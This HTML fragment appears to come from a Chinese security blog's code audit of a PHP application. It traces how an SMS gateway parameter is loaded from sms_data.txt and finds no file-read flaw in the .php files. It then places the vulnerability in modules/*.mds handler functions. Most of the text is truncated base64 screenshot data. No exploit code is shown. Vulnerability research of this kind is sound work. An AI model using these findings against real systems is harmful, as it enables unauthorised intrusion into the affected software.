<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208180940-2c5f80dc-c66a-1.png><img src=data:image/png;base64,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 truncated
|
||||
<p>上方<code>$gwUrl</code>是通过传入了<code>sms_param[6]</code>,而<code>sms_param</code>参数通过不断的网上寻找看到了它通过直接从<code>sms_data.txt</code>中获取出来,以<code>~#%^</code>分割成数组,也还是间接通过静态变量控制了参数,除非这个<code>sms_data.txt</code> 我们可写,控制内容(暂时没找到,告一段落)。所以所有的<code>.php</code>文件都没有找到有任意文件读取的情况。</p>
|
||||
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208180949-31415800-c66a-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<p>最终漏洞是在<code>modules/*.mds</code>类似的文件中,并且多个处理函数都存在这种情况:</p>
|
||||
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208180955-352769a0-c66a-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABDYAAAHjCAYAAADYGJ93AAEAAElEQVR4nOy9d4BUx5E//uk3mwPLLrDkJBAgchQ5iyxAIilaki37fLbPvmj/LnzPZ5/ku/t+nc72+RwUrJwlRJAIAkTOiJxZYAmbExvYMDOvf3+81N2vX5qdXYJVEjszr7urq6urq6vqdSADBtxHEQSC5ZYDYfCI39l62N/xBuqnIQxxXHaNOEIIFEKgKAoURQEhBEQn2vg020C1P9T4ZGiglGrfzfY6NVzCFKJTSdk8zqW1ukwKNDqJVSfzFQTEzCdDRtn2yPhJeFrNGgj7TN5Wp3oZKvmclHJiRAjh/5mMEhph+8akUocUsZ9MXlh8ILp8aNUSk05KKaiqap8GFkJMVnF4jH6i0HFxwsTxgRCDjmBAzMLgeGiAQggIUUAUwuU1aFSNtoj9TyR9SzmKoTVJw68oRj9xlH0JcQOZkm3FakWQkCE+MoZfYIp9FaC2n8bYI2D1ovHdGKNErutaBXjdQoj2RBuDqjkHEIUgFAohISERiYkJCCUkmKXtY9U+n0j1K0+ClpXJZqHUtZ1s+vNol+2RrLCow287NeFmuIjtFA0ee0q8JM2PReHEZv8sl4xgjh22CdgFgnUsEauSAmX++qidSPAJ+og4Dh9rviSyjNSyB7h5V9At1i++PGXHnqtciXgkYCgSCRbD/ogbyOyCFoXWVBZec6wf3XDbKTSfwLeNsM/1iZzozxVCQBTNdyKQS6srF8yJLiiNTs5my4LFGUuhGLYNBaAyukA3+yVDzihLOR2kuxi6nW7np6A1mKd++SDm8609ua/emj++NlVCXLFJQMo+cXw78azFdBL1OcdK3V3zm33CMsRXNiPK0RhjlEKbnE3h9dtgyk9ywYwHHmw2rVudtrJCEIThizygAdgmewY/cW2HEJBwdJ7kajM+IMdLKTUDGvwkLrSH+6n3NyGaDJhPLUZbEmEXmJjsRrOMKL8yw8qwGhnFqZdTFAWUqlB1bUwZgaYCfURAbwaBCDXjepS0rtnzJTQTRFXVjPlJWpTAHvN18riaV5Mth6m3bM9aH0RajKdExhhKoUZVREkEiqIF3mWOlVaM0cuGRSXrTyJ8womLVGqWBnbUndTSbR3UANyJsgts7LN1fMDPcPIv9w7ecUxA7T85WXfKGquAiCEEwthjckzskHIOaIilqWXzUSp9KWAfK5La3fghoxUOcmbam3YKTHsuJrvC7WdrOpe3pZK4C0HGZ5egWLNEIPBsIsnPDqCWndk5C4La6yFEN3JAYEZoIbfEWXyGLc4GNAydRJwHu/Ddq+12myMQ6Ogp812eqfnAog4e2PAb4PHKHlSW4iZ7LWBGODnovup3G/mihekcCBAIkuMV/Goj2BDYlWTQm1+JEdxg8Rs/xCAH3Hlmjjn3GZUyf7h69dUN1kCPTXA0fSMGJFwUOMdfZpUI+DSYisxIIFyaWaORxOU1K5CS0RwbhBKA6O3lYi6iijV5S6ACABQooJpLwzbNFZjglLFyiWn7l+bIHQB+VZlTWTcHmgVRplj9E4vAS+qyxJz1ZIiZZtj/hl0idwXiBVYYg3MuOGLY3EQfe8RaCWYEN5SotqIwFOJWRFFdjxFZe6ilSDxZK/WKLSJFcu3d5bPz7gqF4F9Q42mliMELtzpFMYu/tdQyWJ2CbLI67Tywlyay0CY3FzI2DRfQAD/vsxw1zARmpa5s9Rd1oNLtsT+QGCN+bUdJvZz69hVPitUhvRPAy2pxS//zsnj8tNY1jzRBpuX8yllrWp18Paw/JK6O8tSUsjiF8dU2H7sVbgY4Esm0k6WjBWOaLBnxX7ERRKbcZEmUUwq53LpGTiBkaEmF6tJT1PVnC5HlNSxs1rHw06fk6c6wtbVFTJfNiH5wU5grLpwmf8nWCTDbTzjDJEZ7ylp+btZq4mTDDVT/z5RJq3p7AeEB+/LUbAOl9riOTd7jpZxYA06ohMJsO9s0MMENAs3ho5ToK1ZgN9gkARKzRnZLlo5Te+/bypP9XWtftJDeEwdBUJB5T+IzwnxK6qBwC24wkQgTh0QGDfmDJdt8oVsvGpRRh7yzZAUozDzQRquqqlCjUUQVBQCBElKYrXn8GLV1pdThERJcozvOwQ2rPhmCFpyjb3UnxgCxcERuHmm/5MPLmTFWP91hjOMgGActZ8OYg+wOh5GJcIEMIpg24hxvLDXXV20I9ovE3XEgLDawqBEdOTl/3LYi28az3fCDU+u+hLsf7BrDrslYXdQy0hHU92tBr9tHPZbtQQXdwNjnzORsHHzgm1puuPvkuthtbraZQSAXUAkSEIgftNxWlKDtEfnsxBNZwIOtT4pMJErPI7MaAloSdhNYszXN5xI7UD7E/dTk0C5Hmr0b47ptxqW4lqRnMDxbwJlG8amv1/qU+SsmMeeUmG8fmSVZsIIS8nYEHGh+5cIwdBxQGB6I6URQgBjrxij0gAxgbUuxlnbznBXqEAwvPoZieDuWkUUI8xy8cab91Y0vYiyXNQigAFH0T53TxFifQs03wdyWFLDfLWKJ8ExVVW3ZPBg+tAA4Suhda3u1oMPohtqrWqf0gLrf1p9cFMA+QbBzMAhfhTy4waTRFuOktD7ut6nqdJ3ARSCIpkeoERTUxmBUVYFIRBufBFASEsyVHUY566wkBp+ZzGscx2nG9sBQGBY6Q7NYzrKsxQ61eNlhosx4jeXbxFd3Gzpu6X5wMm41NyfxrLKnuZVtPsQ4ehxtPTYthjkdkC7b5jgizK1mOWOu57adsGDNt9pKKqr7LD7CBQ62cHN1D/8KSsfGnbFhVWaXDcuhkneGaKHI5MbN2bkNBmTM4CagbLpbmlPZOxFcJkpmAo6fdvFjNDiVaf3JgJ8DGf1hsI1xrWxzMgQ/AZbPw49jAWzK3a3dYp0SBSSy2dQnLig92BwXS5W2whkbfogAINePXrrTlVFencZJTkxg+npijbGOE9cylPl0dmr9gY7Dj/HnUCWIYeRrfLTmxmAN90W604Fa7BtH9pAu7qBNsRJ3k8KRHpMXlMdtaCLTRiC6ry87JcSQOX1FhtgMwnwQzVGhEN6bCH3hm9uSQBLR6bWWqBNLgLV9KXoxy1HRfqug1Dj8k52a+PM0qImSmAYdVJVrL/smCwBUlUJRnJ3LeMDdYjoEgxZqtYsv6prGpkPIE1T3U1l2yvzVvrFb5bTiRKCNeeNqDQGOLl7Hsdjt5MYOzlrROm+EWrFkYo08CkMvWyun1KiKCIlo+RQFoVAIikJAKYFqnFYm1ilx0vzoalYX2N85WfU4i4VDLX4YKzO62HK31H8INkmLZAad4nlznYA6pImb/+zDK56MaobJyuqS5vohoukjCKOZJj7T/5jzs/Epo8XUSe6rNNgaxO33RPjSbIOfw8ow0WGfn7hig8jKOkoWJOk8/rtrJvYSSj/+yN0CpjEstd21l2YO4yYmcNOSXqOGCp8svpYFdrSY28ANe5pZRSqWMfSXeTyWTGF5VWqjwK2ADCif7IhGplidQdoCP+pCyHPLAxs2fjRHe4sGGpFx20/nEzuuoMS5VG3D4mb8xxVo7PXI2uNkEMCjGio46jYnxL0sT4N5mgWMm0N4Mp2iwkGZblfQxhdzGwqsQIETmIamENxg+4YyRpMCaOdYiMvl4UtPmLS4qW1bEMHw6MzJh3Jsp9byDYBqBhkTQNaeE8LRaelSwuDgQXumglLly0NE4wq32HDyM9SaowOZstQVl1MFWgHbeTxUHDfSkcPhjcVk9zJ5RXys7jEMHMvC0TcOMMsGVaoCEaoPS/00+lBIM4wkBhQbJLERydqsNtr4VrgfAB1jlwed0sX8t2wYcGZsixIix+zkcHrRYWxEIcyT28wNM21sfxIl2gcAHLezsSrBWNUofrKoWE3AHRKqJ/JVGHhic8n8QfyNSzGsYZcF033lqGgduO2k888UGIPQLbjBZG1WPbczeE7u+ksXPbihEArV3N5v6WnTxraemKvGJDO2fzqCFGDVSSysZ8t64XFyv73qJbdBYMMx2EQdvnsYKd5tl6lkVgEbbzechcT20l5GBbe8zx2fM43xAMvYjRm/MKC47iDQD9gElyqbTm0cYBSeb+6IB5ESh6AGN785uQc+J3074SYuMYkNbPDBG6M6LWigxQ14pS89awOs8+E9aUt5LK4esflncpzEpFdfPSKchWEsqWUj8ObY0El1Hk/2c0sskumX9klcoQUZ6TaEZApDBCrpaFH3yyJkYr1Sz98dXLO54Y8B3OalWFEbRqEWyADjbBHzgeZQUaiUgkSiiOjpCRQI6WduGLhktzNIgxvg50Dn+dA7CuFHRKQF5Oi8899S4IMazR06TmAfIsxZESYFctfUye6M41CIDUwi7MEEI9kXGi6jvsnTNaBhPxRUFtCwPpiABhPMsB/t4y0D8QGxfyW9GsNWFH5bindZJ3riD7dqwHt5avzYD1b2TgLeNibc+IyntMeCx2/9LSmjDF5hX6thbhvuI6GsT0BhvWg0VksDRPR53MA29N3aKcikOV2wRoC8WZ71+6HVC4/Nh+F/xh7YiNGobPbwdZW55gcPfMmGzLgKYHCxAsw8caXLXTH6ABqDLBGYB4OaiskYcAw2/ggHv8EC1sjyJAPc4GKfs0tC3aoDQGx02emUUW9bPGoSbVgwliMu88HECgglZlCDj38xFpJimKJE2BMvx+nQHH1y8VhGLu0EYtHLPaPWp4FUn8H4ffpEz8LX7PaLp4W6GEdfwm0FTsJu9KWnl+ahBYIoLkY87eDHlQQ/iKXIYyFMjsEP+LUZrOAGACgggHYNsz4KVUqBaFQvQEFpCEoopNVhrqTiKybCM+46asYv8k+5Line truncated
|
||||
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181002-3922d86e-c66a-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABBwAAAIRCAYAAADp1a7hAAEAAElEQVR4nOz9d4AVx5Uvjn+q7xBmGGDIDDkIhCJCCJRICiiCJJQASbZl2ZLtjb/dt/ba3t234e17G+y1f15H2Ssr2AKUrICCbUkECUkIBEJEkcOQZoBhZoCBCbfr+0d3dVdVV1VX3zR3YI4tpm931alT6dQ5n0pk3LgLKCRqbmmRX1lQhM1ZRgRE+Z6y/wuvAIAQAkIAQhzv2XvJ8SFiBBV3SoP/IhIRPpzIMcpVjk+CP0opVCJpxaVSylL4OFKJRuUgrJAp++PJToj/n+OVB/VCsPJSlRulYtnpiYThuPoL+FJPFvYMJgsLR5msNMiOJw8N+IcsPeEV4mokg0X58gWprjxWFnHp8nnXEo08cPGJVF9qXkL7pXL7p1xT8/mBBP0skI/qeUYl9MucUr/dSHElecNyoCKjRHWRI9Kyi9cregr1gtCtqRTEor0oNQ4RGVKuzVC/Pp1UCiUlJSgpSYEQgtZ0Gi0tLWhpbobruh4vQoSydxwHjuO9cykFpa7PO5SCEAKHOEilHDhOCg4hoADctAvXTXN6mysHVd7slIdfftRvo/4rvy0TAqSCfJaAgiLt5zOdToNSIJVy/O+d4KQ